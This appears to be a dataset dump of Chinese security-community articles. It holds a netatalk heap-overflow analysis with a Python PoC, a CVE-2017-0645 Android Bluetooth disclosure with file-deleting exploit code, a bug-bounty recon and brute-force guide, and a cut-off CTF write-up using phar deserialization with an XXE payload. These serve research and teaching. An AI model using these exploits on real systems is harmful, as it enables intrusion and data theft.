text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# 编译安装
首先下载带有漏洞的源代码
https://sourceforge.net/projects/netatalk/files/netatalk/3.1.11/
安装一些依赖库（可能不全，到时根据报错安装其他的库）
sudo apt install libcrack2-dev
sudo apt install libgssapi-krb5-2
sudo apt install libgssapi3-heimdal
sudo apt install libgssapi-perl
sudo apt-get install libkrb5-dev
sudo apt-get install libtdb-dev
sudo apt-get install libevent-dev
然后编译安装
$ ./configure --with-init-style=debian-systemd --without-libevent --without-tdb --with-cracklib --enable-krbV-uam --with-pam-confdir=/etc/pam.d --with-dbus-daemon=/usr/bin/dbus-daemon --with-dbus-sysconf-dir=/etc/dbus-1/system.d --with-tracker-pkgconfig-version=1.0
$ make
$ sudo make install
编译安装好后, 编辑一下配置文件
root@ubuntu:~# cat /usr/local/etc/afp.conf
[Global]
mimic model = Xserve #这个是指定让机器在你Mac系统中显示为什么的图标
log level = default:warn
log file = /var/log/afpd.log
hosts allow = 192.168.245.0/24 #允许访问的主机地址,根据需要自行修改
hostname = ubuntu #主机名，随你喜欢
uam list = uams_dhx.so uams_dhx2.so #默认认证方式 用户名密码登录 更多查看官方文档
[Homes]
basedir regex = /tmp #用户的Home目录
[NAS-FILES]
path = /tmp #数据目录
然后尝试启动服务
$ sudo systemctl enable avahi-daemon
$ sudo systemctl enable netatalk
$ sudo systemctl start avahi-daemon
$ sudo systemctl start netatalk
启动后 `afpd` 会监听在 `548` 端口，查看端口列表确认服务是否正常启动
为了调试的方便，关闭 `alsr`
echo 0 > /proc/sys/kernel/randomize_va_space
# 代码阅读笔记
为了便于理解漏洞和 `poc` 的构造，这里介绍下一些重点的代码逻辑。
程序使用多进程的方式处理客户端的请求，每来一个客户端就会 `fork` 一个子进程处理请求的数据。
## 利用客户端请求数据初始化结构体
首先会调用 `dsi_stream_receive` 把客户端的请求数据填充到 `DSI` 结构体中。
使用客户端的数据填充结构体的代码
/*!
* Read DSI command and data
*
* @param dsi (rw) DSI handle
*
* @return DSI function on success, 0 on failure
*/
int dsi_stream_receive(DSI *dsi)
{
char block[DSI_BLOCKSIZ];
LOG(log_maxdebug, logtype_dsi, "dsi_stream_receive: START");
if (dsi->flags & DSI_DISCONNECTED)
return 0;
/* read in the header */
if (dsi_buffered_stream_read(dsi, (uint8_t *)block, sizeof(block)) != sizeof(block))
return 0;
dsi->header.dsi_flags = block[0];
dsi->header.dsi_command = block[1];
if (dsi->header.dsi_command == 0)
return 0;
memcpy(&dsi->header.dsi_requestID, block + 2, sizeof(dsi->header.dsi_requestID));
memcpy(&dsi->header.dsi_data.dsi_doff, block + 4, sizeof(dsi->header.dsi_data.dsi_doff));
dsi->header.dsi_data.dsi_doff = htonl(dsi->header.dsi_data.dsi_doff);
memcpy(&dsi->header.dsi_len, block + 8, sizeof(dsi->header.dsi_len));
memcpy(&dsi->header.dsi_reserved, block + 12, sizeof(dsi->header.dsi_reserved));
dsi->clientID = ntohs(dsi->header.dsi_requestID);
/* 确保不会溢出 dsi->commands */
dsi->cmdlen = MIN(ntohl(dsi->header.dsi_len), dsi->server_quantum);
/* Receiving DSIWrite data is done in AFP function, not here */
if (dsi->header.dsi_data.dsi_doff) {
LOG(log_maxdebug, logtype_dsi, "dsi_stream_receive: write request");
dsi->cmdlen = dsi->header.dsi_data.dsi_doff;
}
if (dsi_stream_read(dsi, dsi->commands, dsi->cmdlen) != dsi->cmdlen)
return 0;
LOG(log_debug, logtype_dsi, "dsi_stream_receive: DSI cmdlen: %zd", dsi->cmdlen);
return block[1];
}
代码逻辑主要是填充 `header` 的一些字段，然后 拷贝 `header` 后面的数据到 `dsi->commands`。
其中 `header` 的结构如下
#define DSI_BLOCKSIZ 16
struct dsi_block {
uint8_t dsi_flags; /* packet type: request or reply */
uint8_t dsi_command; /* command */
uint16_t dsi_requestID; /* request ID */
union {
uint32_t dsi_code; /* error code */
uint32_t dsi_doff; /* data offset */
} dsi_data;
uint32_t dsi_len; /* total data length */
uint32_t dsi_reserved; /* reserved field */
};
`header`中比较重要的字段有：
`dsi_command` 表示需要执行的动作
`dsi_len` 表示 `header` 后面数据的大小， 这个值会和 `dsi->server_quantum` 进行比较，取两者之间较小的值作为
`dsi->cmdlen` 的值。
/* 确保不会溢出 dsi->commands */
dsi->cmdlen = MIN(ntohl(dsi->header.dsi_len), dsi->server_quantum);
这样做的目的是为了确保后面拷贝数据到 `dsi->commands` 时不会溢出。
`dsi->commands` 默认大小为 `0x101000`
pwndbg> p dsi->commands
$8 = (uint8_t *) 0x7ffff7ed4010 "\001\004"
pwndbg> vmmap 0x7ffff7ed4010
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x7ffff7ed4000 0x7ffff7fd5000 rw-p 101000 0
初始化代码位置
/*!
* Allocate DSI read buffer and read-ahead buffer
*/
static void dsi_init_buffer(DSI *dsi)
{
if ((dsi->commands = malloc(dsi->server_quantum)) == NULL) {
LOG(log_error, logtype_dsi, "dsi_init_buffer: OOM");
AFP_PANIC("OOM in dsi_init_buffer");
}
`dsi->server_quantum` 默认
#define DSI_SERVQUANT_DEF 0x100000L /* default server quantum (1 MB) */
## 根据 header 字段选择处理逻辑
接下来会进入 `dsi_getsession` 函数。
这个函数的主要部分是根据 `dsi->header.dsi_command` 的值来判断后面进行的操作。这个值是从客户端发送的数据里面取出的。
# 漏洞分析
漏洞位于 `dsi_opensession`
当进入 `DSIOPT_ATTNQUANT` 分支时 会调用 `memcpy` 拷贝到 `dsi->attn_quantum` ，查看 dis
结构体的定义可以发现`dsi->attn_quantum` 是一个 `4` 字节的无符号整数 ，而 `memcpy` 的 `size` 区域则是直接从
`dsi->commands` 里面取出来的， 而 `dsi->commands` 是从客户端发送的数据直接拷贝过来的。所以
`dsi->commands[i]` 我们可控，最大的大小为 `0xff` (`dsi->commands` 是一个 `uint8_t` 的数组)
**poc**
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import socket
import struct
ip = "192.168.245.168"
port = 548
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
# 设置 commands ， 溢出 dsi->attn_quantum
commands = "\x01" # DSIOPT_ATTNQUANT 选项的值
commands += "\x80" # 数据长度
commands += "\xaa" * 0x80
header = "\x00" # "request" flag ， dsi_flags
header += "\x04" # open session command ， dsi_command
header += "\x00\x01" # request id, dsi_requestID
header += "\x00\x00\x00\x00" # dsi_data
header += struct.pack(">I", len(commands)) # dsi_len , 后面 commands 数据的长度
header += "\x00\x00\x00\x00" # reserved
header += commands
sock.sendall(header)
print sock.recv(1024)
首先设置好 `dsi` 数据的头部，然后设置 `commands` 。设置 `commands[i]` 长度为 `0x80` , 复制的数据为
`"\xaa" * 0x80`。
# 设置 payload ， 溢出 dsi->attn_quantum
payload = "\x01" # DSIOPT_ATTNQUANT 选项的值, 以便进入该分支
payload += "\x80" # 数据长度
payload += "\xaa" * 0x80 # 数据
当进入
memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);
就会复制 `0x80` 个 `\xaa` 到 `dsi->attn_quantum` 处， 这样会溢出覆盖 `dsi->attn_quantum`
后面的一些字段。
发送 `poc` , 在调试器中看看在调用 `memcpy` 后 `dsi` 结构体内部的情况
可以看到从 `dsi->attn_quantum` 开始一直到 `dsi->data` 之间的字段都被覆盖成了 `\xaa` 。由于
`dsi->commands` 为一个指针， 这里被覆盖成了不可访问的值，在后续使用 `dsi->commands` 时会触发 `crash`。
# 总结
当程序需要从数据里面取出表示数据长度的字段时一定要做好判断防止出现问题。
# 参考
<https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172> | 社区文章 |
原文地址：[先知安全技术社区](https://xianzhi.aliyun.com/forum/read/1788.html)
作者：[heeeeen@MS509Team](http://www.ms509.com/)
#### 0x01 漏洞简介
Android 6月的安全公告，同时还修复了我们发现的一个蓝牙 App 提权中危漏洞，该漏洞允许手机本地无权限的恶意程序构造一个仿冒的 Provider
，并获取 Provider 所指向文件的读写权限，可用于写 SD 卡或者蓝牙共享数据库，漏洞详情如下：
* CVE: CVE-2017-0645
* BugID: A-35310991
* 严重性: 中危
* 漏洞类型: 提权
* Updated AOSP versions: 6.0.1, 7.0, 7.1.1, 7.1.2
#### 0x02 漏洞分析
该漏洞其实是一个常规的 Android
组件暴露漏洞，跟我们[上一个分析的蓝牙漏洞](https://xianzhi.aliyun.com/forum/read/1713.html)一样，我们知道在蓝牙
App 中 BluetoothOppLauncherActivity 是可以被第三方应用启动的。这一次，我们来看 onCreate 函数中传入 Intent
action 为 android.btopp.intent.action.OPEN 的处理流程。
} else if (action.equals(Constants.ACTION_OPEN)) {
Uri uri = getIntent().getData();
if (V) Log.v(TAG, "Get ACTION_OPEN intent: Uri = " + uri);
Intent intent1 = new Intent();
intent1.setAction(action);
intent1.setClassName(Constants.THIS_PACKAGE_NAME, BluetoothOppReceiver.class.getName());
intent1.setDataAndNormalize(uri);
this.sendBroadcast(intent1);
finish();
转到 BluetoothOppReceiver 进行处理。接着查看 BluetoothOppReceiver 的 onReceive 函数，由于Intent
可控，这里蓝牙 App 将会取出 intent 中的 Data 进行数据库查询，然后取出 transInfo ，最后进入
BluetoothOppUtility.openReceivedFile 函数。
} else if (action.equals(Constants.ACTION_OPEN) || action.equals(Constants.ACTION_LIST)) {
if (V) {
if (action.equals(Constants.ACTION_OPEN)) {
Log.v(TAG, "Receiver open for " + intent.getData());
} else {
Log.v(TAG, "Receiver list for " + intent.getData());
}
}
BluetoothOppTransferInfo transInfo = new BluetoothOppTransferInfo();
Uri uri = intent.getData(); //Intent可控！
transInfo = BluetoothOppUtility.queryRecord(context, uri);
if (transInfo == null) {
Log.e(TAG, "Error: Can not get data from db");
return;
}
if (transInfo.mDirection == BluetoothShare.DIRECTION_INBOUND
&& BluetoothShare.isStatusSuccess(transInfo.mStatus)) {
// if received file successfully, open this file
// transInfo可控！
BluetoothOppUtility.openReceivedFile(context, transInfo.mFileName,
transInfo.mFileType, transInfo.mTimeStamp, uri);
BluetoothOppUtility.updateVisibilityToHidden(context, uri);
} else {
Intent in = new Intent(context, BluetoothOppTransferActivity.class);
in.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
in.setDataAndNormalize(uri);
context.startActivity(in);
}
在 openReceivedFile 函数中，我们看到蓝牙 App 最终将 **在授予读写权限** 后，启动能够处理 transInfo.mFileType
文件类型的某外部 App 的 Activity ，对 transInfo.mFileName 进行处理。
public static void openReceivedFile(Context context, String fileName, String mimetype,
Long timeStamp, Uri uri) {
if (fileName == null || mimetype == null) {
Log.e(TAG, "ERROR: Para fileName ==null, or mimetype == null");
return;
}
File f = new File(fileName); //fileName可控
if (!f.exists()) {
...
// skip
}
// path受限于com.google.android.bluetooth.fileprovider使用的位置
Uri path = FileProvider.getUriForFile(context,
"com.google.android.bluetooth.fileprovider", f);
// If there is no scheme, then it must be a file
if (path.getScheme() == null) {
path = Uri.fromFile(new File(fileName));
}
if (isRecognizedFileType(context, path, mimetype)) {
Intent activityIntent = new Intent(Intent.ACTION_VIEW);
activityIntent.setDataAndTypeAndNormalize(path, mimetype);
List<ResolveInfo> resInfoList = context.getPackageManager()
.queryIntentActivities(activityIntent,
PackageManager.MATCH_DEFAULT_ONLY);
// 注意这段，授予任何app对该文件的读写权限
// Grant permissions for any app that can handle a file to access it
for (ResolveInfo resolveInfo : resInfoList) {
String packageName = resolveInfo.activityInfo.packageName;
context.grantUriPermission(packageName, path,
Intent.FLAG_GRANT_WRITE_URI_PERMISSION |
Intent.FLAG_GRANT_READ_URI_PERMISSION);
}
activityIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
// 授予activity对该文件的读写权限
activityIntent.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
activityIntent.setFlags(Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
try {
if (V) Log.d(TAG, "ACTION_VIEW intent sent out: " + path + " / " + mimetype);
context.startActivity(activityIntent);
由于 Intent 可控， Intent Data 可控， transInfo 可控，再加上启动的外部 App 被授予了读写权限，因此这里存在漏洞，我们可以
**伪造一个文件让蓝牙 App 启动某外部 App 打开，同时该外部 App 获得对伪造文件指向位置的读写权限** 。可惜此处伪造的文件位置受限于
com.android.bluetooth.filepovider ，其 file_paths.xml 使用的 external-path
，这意味着我们只能伪造一个外部存储 /sdcard 目录的文件。
#### 0x03 漏洞利用
漏洞利用可如下图所示，这种攻击发送 intent 的过程像极了飞去来器。恶意 App 发送 intent 过后,又回到了自己手中，但却获得了提权。
1.恶意 App 声明能对某种 filetype 进行处理
<activity android:name=".FakeViewActivity">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<data android:mimeType="xxx/yyy" />
</intent-filter>
</activity>
2.构造一个虚假的 bluetooth share provider——FakeBluetoothOppProvider ，传入 intent data
之中。主要内容可以参考 BluetoothOppProvider ，其 Uri 为
content://fake.bluetooth.provider/btopp/
并expose出来
<provider
android:authorities="fake.bluetooth.provider"
android:name=".FakeBluetoothOppProvider"
android:exported="true" />
然后填入内容，指向 /sdcard 中某个已知文件，并传入 Intent data , 启动 BluetoothOppLauncherActivity
m_btnTest.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent intent = new Intent();
intent.setComponent(new ComponentName("com.android.bluetooth",
"com.android.bluetooth.opp.BluetoothOppLauncherActivity"));
intent.setAction(Constants.ACTION_OPEN);
intent.setData(Uri.parse("content://fake.bluetooth.provider/btopp/1"));
startActivity(intent);
}
});
m_btnAddFakeEntry = (Button)findViewById(R.id.add);
m_btnAddFakeEntry.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
ContentValues values = new ContentValues();
values.put(BluetoothShare._ID, 1);
values.put(BluetoothShare.DIRECTION, BluetoothShare.DIRECTION_INBOUND);
values.put(BluetoothShare.TOTAL_BYTES, 110000);
values.put(BluetoothShare.CURRENT_BYTES,110000);
values.put(BluetoothShare.TIMESTAMP, 111111);
values.put(BluetoothShare.DESTINATION, "00:10:60:AA:36:F8");
values.put(BluetoothShare._DATA, "/storage/emulated/0/CVE-2016-6762.apk");
values.put(BluetoothShare.MIMETYPE, "xxx/yyy");
values.put(BluetoothShare.USER_CONFIRMATION, 1);
// when content provider is null, use insert or use update
m_contentResolver.insert(BluetoothShare.CONTENT_URI, values);
// m_contentResolver.update(BluetoothShare.CONTENT_URI, values, "_id = 12", null);
}
});
3.蓝牙 App 取出我们构造的 filename, filetype；
4.蓝牙 App 授予读写权限，然后再启动恶意 App 进行处理;
5.恶意 App 直接删除 /sdcard 中的这个文件。
public class FakeViewActivity extends Activity {
final static String TAG = "Bluz";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Intent intent = getIntent();
String dir = intent.getDataString();
Log.d(TAG, "dir is "+dir);
Uri uri = intent.getData();
ContentResolver cr = getContentResolver();
Log.d(TAG, "Deleting "+ intent.getDataString() +" silently!");
getContentResolver().delete(uri, null, null);
}
}
在上述整个过程中，恶意 App 并未申请 SD 卡写权限，因此这是一个提权漏洞。
另外还有一种利用方式，是在 Intent 中直接传入蓝牙 BluetoothOppProvider 的 uri ，比如
content://com.android.bluetooth.opp/btopp/1" ，从而获得对蓝牙共享数据库的读写权限。
完成代码请见[这里](https://github.com/heeeeen/CVE-PoC/tree/master/CVE-2017-0645)
#### 0x04 漏洞修复
Google
对该漏洞的[修复](https://android.googlesource.com/platform/packages/apps/Bluetooth/+/14b7d7e1537af60b7bca6c7b9e55df0dc7c6bf41%5E%21/#F0)主要有两点:
1.确保 Intent data 始终为 BluetoothOppProvider 的 Uri ，防止仿冒；
2.撤销了授予第三方应用的读写权限，只授予第三方应用某个 Activity 的读权限。
#### 0x05 时间线
* 2017.02.15: 漏洞提交
* 2017.03.01: 漏洞确认，初始评级为高
* 2017.03.23: 漏洞降级为中
* 2017.06.01: 补丁发布
* 2017.06.23: 漏洞公开
* * * | 社区文章 |
说到信息收集，网上已经有许多文章进行描述了，那么从正常的子域名、端口、旁站、C段等进行信息收集的话，对于正常项目已经够用了，但是挖掘SRC的话，在诸多竞争对手的“帮助”下，大家收集到的信息都差不多，挖掘的漏洞也往往存在重复的情况。
那么现在我就想分享一下平时自己进行SRC挖掘过程中，主要是如何进行入手的。以下均为小弟拙见，大佬勿喷。
## 0x01 确定目标
无目标随便打，有没有自己对应的SRC应急响应平台不说，还往往会因为一开始没有挖掘到漏洞而随意放弃，这样往往不能挖掘到深层次的漏洞。挖到的大多数是大家都可以简单挖到的漏洞，存在大概率重复可能。所以在真的想要花点时间在SRC漏洞挖掘上的话，建议先选好目标。
那么目标怎么选呢，考虑到收益回报与付出的比例来看，建议是从专属SRC入手，特别在一些活动中，可以获取比平时更高的收益。
微信搜一搜：
百度搜一搜：
现在有活动的src已经浮现水面了，那么我们就可以从中选择自己感兴趣的SRC。
## 0x02 确认测试范围
前面说到确定测什么SRC，那么下面就要通过一些方法，获取这个SRC的测试范围，以免测偏。
### 1、公众号
从公众号推文入手，活动页面中可以发现测试范围
### 2、应急响应官网
在应急响应官网，往往会有一些活动的公告，在里面可以获取到相应的测试范围。
### 3、爱企查
从爱企查等商业查询平台获取公司所属域名
搜索想要测试等SRC所属公司名称，在知识产权->网站备案中可以获取测试范围。
## 0x03 子域名(oneforall)
拿到域名之后，下一步我考虑使用oneforall扫描获取子域名，就像网上信息收集的文章一样，主域名的站点不是静态界面就是安全防护等级极强，不是随便就能够发现漏洞的，我们挖掘SRC也是要从子域名开始，从边缘资产或一般资产中发现漏洞。
工具下载：
https://github.com/shmilylty/OneForAll
具体用法如下：
常用的获取子域名有2种选择，一种使用--target指定单个域名，一种使用--targets指定域名文件。
python3 oneforall.py --target example.com run
python3 oneforall.py --targets ./domains.txt run
其他获取子域名的工具还有layer子域名挖掘机、Sublist3r、证书透明度、在线工具等，这里就不一一阐述了，大体思路是一样等，获取子域，然后从中筛选边缘资产，安全防护低资产。
## 0x04 系统指纹探测
通过上面的方法，我们可以在/OneForAll-0.4.3/results/路径下获取以域名为名字的csv文件。里面放入到便是扫描到到所有子域名以及相应信息了。
下一步便是将收集到到域名全部进行一遍指纹探测，从中找出一些明显使用CMS、OA系统、shiro、Fastjson等的站点。下面介绍平时使用的2款工具：
### 1、Ehole
下载地址：
https://github.com/EdgeSecurityTeam/EHole
使用方法：
./Ehole-darwin -l url.txt //URL地址需带上协议,每行一个
./Ehole-darwin -f 192.168.1.1/24 //支持单IP或IP段,fofa识别需要配置fofa密钥和邮箱
./Ehole-darwin -l url.txt -json export.json //结果输出至export.json文件
### 2、Glass
下载地址：
https://github.com/s7ckTeam/Glass
使用方法：
python3 Glass.py -u http://www.examples.com // 单url测试
python3 Glass.py -w domain.txt -o 1.txt // url文件内
## 0x05 框架型站点漏洞测试
前面经过了子域名收集以及对收集到的子域名进行了指纹信息识别之后，那么对于框架型的站点，我们可以优先进行测试。
类似用友NC、通达OA、蓝凌OA等，可以通过尝试现有的Nday漏洞进行攻击。
## 0x06 非框架型站点漏洞测试
前面测试完框架型的站点了，之后就应该往正常网站，或者经过了二开未能直接检测出指纹的站点进行渗透了。那么对于这类站点，最经常遇到的便是登录框，在这里，我们便可以开始测试了。
1、用户名枚举
抓包尝试是否用户名存在与不存在的情况，返回结果不同。
2、验证码
是否存在验证码，验证码是否可以抓包截断绕过，验证码是否可以为空。
3、暴力破解
下面是我收集的集中常见的用户名
1.弱口令用户名如admin,test,ceshi等
2.员工姓名全拼，员工姓名简拼
3.公司特征+员工工号/员工姓名
4.员工工号+姓名简拼
5.员工姓名全拼+员工工号
6.员工姓名全拼+重复次数，如zhangsan和zhangsan01
7.其他
关于暴力破解我要扯一句了，就是关于密码字典的问题。经常会听到某人说他的字典多么多么的大，有好几个G之类的，但是在我觉得，这很没有必要，有些密码是你跑几天都跑不出来的，就算字典确实够大，也没有必要这样跑，可能影响心情不说，大规模地暴力破解，很容易让人觉得你在拒绝服务攻击。
其实我的话一般跑一跑弱口令就差不多了。
关于弱口令字典的问题，我也想说一嘴，你最好看看，你字典里面的admin、123456、password处在什么位置。记得之前玩CTF的时候，默认密码123456，但是那个师傅死活做不出来，后面一看，字典里面居然没有123456这个密码。。。
这里推荐一个字典，个人感觉还是挺好用的。当然更多的是需要自己不断更新。
https://github.com/fuzz-security/SuperWordlist
4、工具cupp和cewl
对于一些情况，密码不是直接使用弱口令，而是通过一些公司的特征+个人信息制作的，那么这个时候，我们的字典便不能直接使用了，需要在这之前加上一些特征，例如阿里SRC可能是a；百度SRC可能是bd等。
下面2款kali自带等工具，可以通过收集信息，生成好用的字典，方便渗透。说真的，在渗透测试过程中，弱口令，YYDS！
具体使用说明和工具介绍，可以查看文章：
<https://mp.weixin.qq.com/s/HOlPaJ4EMY7PfHh7p2d95A>
5、自行注册
如果能够注册那就好办了，自己注册一下账户即可。
6、小总结
对于非框架的站点，登录接口一般是必不可少的，可能就在主页，也可能在某个路径下，藏着后台的登录接口，在尝试了多种方法成功登录之后，记得尝试里面是否存在未授权漏洞、越权等漏洞。
这里借用来自WS师傅的建议：可以直接扫描出来的洞，基本都被交完了，可以更多往逻辑漏洞方面找。登录后的漏洞重复率，比登录前的往往会低很多。
## 0x07 端口扫描
前面就是正常的渗透了，那么一个域名只是在80、443端口才有web服务吗？不可否认有些时候真的是，但是绝大多数情况下，类似8080、8443、8081、8089、7001等端口，往往会有惊喜哦～
端口扫描也算是老生常谈了，市面上也有很多介绍端口扫描的工具使用方法，这里也不细说了，就放出平时使用的命令吧。
sudo nmap -sS -Pn -n --open --min-hostgroup 4 --min-parallelism 1024 --host-timeout 30 -T4 -v examples.comsudo nmap -sS -Pn -n --open --min-hostgroup 4 --min-parallelism 1024 --host-timeout 30 -T4 -v -p 1-65535 examples.com
## 0x08 目录扫描dirsearch
目录扫描在渗透测试过程中我认为是必不可少的，一个站点在不同目录下的不同文件，往往可能有惊喜哦。
个人是喜欢使用dirserach这款工具，不仅高效、页面也好看。市面上还有例如御剑、御剑t00ls版等，也是不错的选择。
dirsearch下载地址：
https://github.com/maurosoria/dirsearch
具体使用方法可以查看github介绍，这里我一般是使用如下命令（因为担心线程太高所以通过-t参数设置为2）
python3 dirsearch.py -u www.xxx.com -e * -t 2
关键的地方是大家都可以下载这款工具，获取它自带的字典，那么路径的话，便是大家都能够搜得到的了，所以这里我推荐是可以适当整合一些师傅们发出来的路径字典到/dirsearch-0.4.2/db/dicc.txt中。例如我的话，是增加了springboot未授权的一些路径、swagger的路径以及一些例如vmvare-vcenter的漏洞路径。
## 0x09 JS信息收集
在一个站点扫描了目录、尝试登录失败并且没有自己注册功能的情况下，我们还可以从JS文件入手，获取一些URL，也许某个URL便能够未授权访问获取敏感信息呢。
#### 1、JSFinder
工具下载：
https://github.com/Threezh1/JSFinder
JSFinder是一款用作快速在网站的js文件中提取URL，子域名的工具。个人觉得美中不足的地方便是不能对获取到到URL进行一些过滤，在某些情况下，JS文件中可以爬取非常多的URL，这其中可能大部分是页面空或者返回200但是页面显示404的。来自HZ师傅的建议，可以修改一下工具，基于当前的基础上，检测获取的URL是否可以访问，访问后的页面大小为多少，标题是什么。。。
思路放这了，找个时间改一改？
#检测URL状态码#-----------------------#! /usr/bin/env python#coding=utf-8import sysimport requestsurl='xxxx'request = requests.get(url)httpStatusCode = request.status_codeif httpStatusCode == 200: xxxxelse: xxxx
#检测URL返回包大小#-----------------------import requestsdef hum_convert(value): units = ["B", "KB", "MB", "GB", "TB", "PB"] size = 1024.0 for i in range(len(units)): if (value / size) < 1: return "%.2f%s" % (value, units[i]) value = value / sizer = requests.get('https://www.baidu.com')r.status_coder.headerslength = len(r.text)print(hum_convert(length))
#获取网站标题#-----------------------#!/usr/bin/python#coding=utf-8urllib.requestimport urllib.requestimport reurl = urllib.request.urlopen('http://www.xxx.com')html = url.read().decode('utf-8')title=re.findall('<title>(.+)</title>',html)print (title)
#### 2、JS文件
JS文件与HTML、CSS等文件统一作为前端文件，是可以通过浏览器访问到的，相对于HTML和CSS等文件的显示和美化作用，JS文件将会能够将页面的功能点进行升华。
对于渗透测试来说，JS文件不仅仅能够找到一些URL、内网IP地址、手机号、调用的组件版本等信息，还存在一些接口，因为前端需要，所以一些接口将会在JS文件中直接或间接呈现。下面我将介绍如何发现这些隐藏的接口。
1、首先在某个页面中，鼠标右键，选择检查
2、点击Application
3、在Frames->top->Scripts中能够获取当前页面请求到的所有JS
4、火狐浏览器的话，则是在调试中
5、如果你请求的JS文件内容都叠在了前几行的话，下面这个键可以帮你美化输出
6、在JS文件中，可以尤为注意带有api字眼的文件或内容，例如下面这里我发现了一个接口。
## 0x10 小程序、APP
web端没有思路的时候，可以结合小程序、APP来进行渗透。小程序或APP的服务端其实可以在一定程度上与web应用的服务端相联系。也就是说，我们在小程序或者APP上，一样能够挖掘web端的漏洞如SQL注入、XSS等，并且相对来说，这类等服务端安全措施会相对没有那么完备，所以在web端确实没有思路的时候，可以迂回渗透，从小程序、APP中进行。
#小程序抓包、APP抓包参考链接：
https://mp.weixin.qq.com/s/xuoVxBsN-t5KcwuyGpR56g
https://mp.weixin.qq.com/s/45YF4tBaR-TUsHyF5RvEsw
https://mp.weixin.qq.com/s/M5xu_-_6fgp8q0KjpzvjLg
https://mp.weixin.qq.com/s/Mfkbxtrxv5AvY-n_bMU7ig
## 0x11 总结
以上就是我个人挖掘SRC的一些信息收集思路，挖掘SRC有的时候真的很看运气，也许别人对一个接口简单Fuzz，便出了一个注入，而我们花了几天，还是一直看到返回内容为404。所以有的时候真的可以换个站试试，也许就挖到高危甚至严重了～
作为一名SRC小白，以上内容均为小弟拙见，希望能够通过这篇文章，帮到更多的网络安全小白，没能帮上大佬们真的很抱歉～后续也会持续提高自己，将学到的更多的东西分享给大家。 | 社区文章 |
以下均是赛后自搭环境复现情况：
题目默认是地址是 xxxx:8003
有注册功能点和登陆功能点，但在一波信息收集后并无果，并且URL参数的id=1也是幌子
在师兄的扫描端口下，发现了8000端口，访问后直接给了源码：
<?php
class TheUse{
private $obj;
private $con1;
private $con2;
function __construct($obj,$con1,$con2){
$this->obj = $obj;
$this->con1 = $con1;
$this->con2 = $con2;
}
function __destruct(){
$new = $this->obj;
$new($this->con1,$this->con2);
}
}
class MyClass{
private $dir;
function __construct($dir){
$this->dir = $dir;
}
function __toString(){
echo "String conversion...\n";
}
function __invoke($param1,$param2){
$this->$param1($param2);
}
public function getdir($path){
print_r(glob($path));
}
public function load($con){
simplexml_load_string($con,null,LIBXML_NOENT);
}
}
if(isset($_REQUEST['f'])){
$filename=$_REQUEST['f'];
is_dir($filename);
}else{
highlight_file(__FILE__);
}
看到`class的魔术方法`第一时间想到反序列化
但是没有类似于`unserialize()`的反序列化函数
注意到函数`is_dir()`，`is_dir()`函数可以触发`phar`协议，phar协议可以触发反序列化
但是phar需要有文件上传的点：于是找到了`/upload.php`这个功能点
因此思路就有了：
通过链子构造phar文件，上传phar文件后用phar协议读取
反序列化的链子很简单：
TheUse$__destruct() -->MyClass$__invoke-->MyClass$getdir() //读取文件名称
TheUse$__destruct() -->MyClass$__invoke-->MyClass$load() //读取文件内容
构造反序列化链子：
<?php
class TheUse{
private $obj;
private $con1;
private $con2;
function __construct($obj,$con1,$con2){
$this->obj = $obj;
$this->con1 = $con1;
$this->con2 = $con2;
}
function __destruct(){
$new = $this->obj;
$new($this->con1,$this->con2);
}
}
class MyClass{
private $dir;
function __construct($dir){
$this->dir = $dir;
}
function __toString(){
echo "String conversion...\n";
}
function __invoke($param1,$param2){
$this->$param1($param2);
}
public function getdir($path){
print_r(glob($path));
}
public function load($con){
simplexml_load_string($con,null,LIBXML_NOENT);
}
}
$xml=<<<EOF
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY[
<!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/flag.php">]>
<x>&file;</x>
EOF;
$payload = new TheUse(new MyClass('./'), 'load', $xml);
## 坑点1
构造函数的时候`$xml`变量要用
$xml=<<<EOF
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY[
<!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/flag.php">]>
<x>&file;</x>
EOF;
这种形式定义，不能直接放到构造函数里，我就是因为这一步频繁报错未解出来
## 坑点2
在xml中读取文件时要用绝对路径读取协议(这里用了php伪协议读取文件）
不用绝对路径的报错图：
解决方法(使用绝对路径)：
## 解题：
payload生成读取文件名的phar文件：
<?php
class TheUse{
private $obj;
private $con1;
private $con2;
function __construct($obj,$con1,$con2){
$this->obj = $obj;
$this->con1 = $con1;
$this->con2 = $con2;
}
function __destruct(){
$new = $this->obj;
$new($this->con1,$this->con2);
}
}
class MyClass{
private $dir;
function __construct($dir){
$this->dir = $dir;
}
function __toString(){
echo "String conversion...\n";
}
function __invoke($param1,$param2){
$this->$param1($param2);
}
private function getdir($path){
print_r(glob($path));
}
private function load($con){
simplexml_load_string($con,null,LIBXML_NOENT);
}
}
$payload = new TheUse(new MyClass('/var/www/html'), 'getdir', '/var/www/html/*');
$phar = new Phar('phar.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->setMetadata($payload);
$phar->addFromString('1.txt','test'); // phar:[phar.phar][system_get_you_filename]/1.txt
$phar->stopBuffering();
运行后上传phar文件
然后使用phar协议读取：
?f=phar:///var/www/html/phar.phar
可以看到flag的名称是`Maybe_flag_is_here.php`
接下来读取flag：
<?php
class TheUse{
private $obj;
private $con1;
private $con2;
function __construct($obj,$con1,$con2){
$this->obj = $obj;
$this->con1 = $con1;
$this->con2 = $con2;
}
function __destruct(){
$new = $this->obj;
$new($this->con1,$this->con2);
}
}
class MyClass{
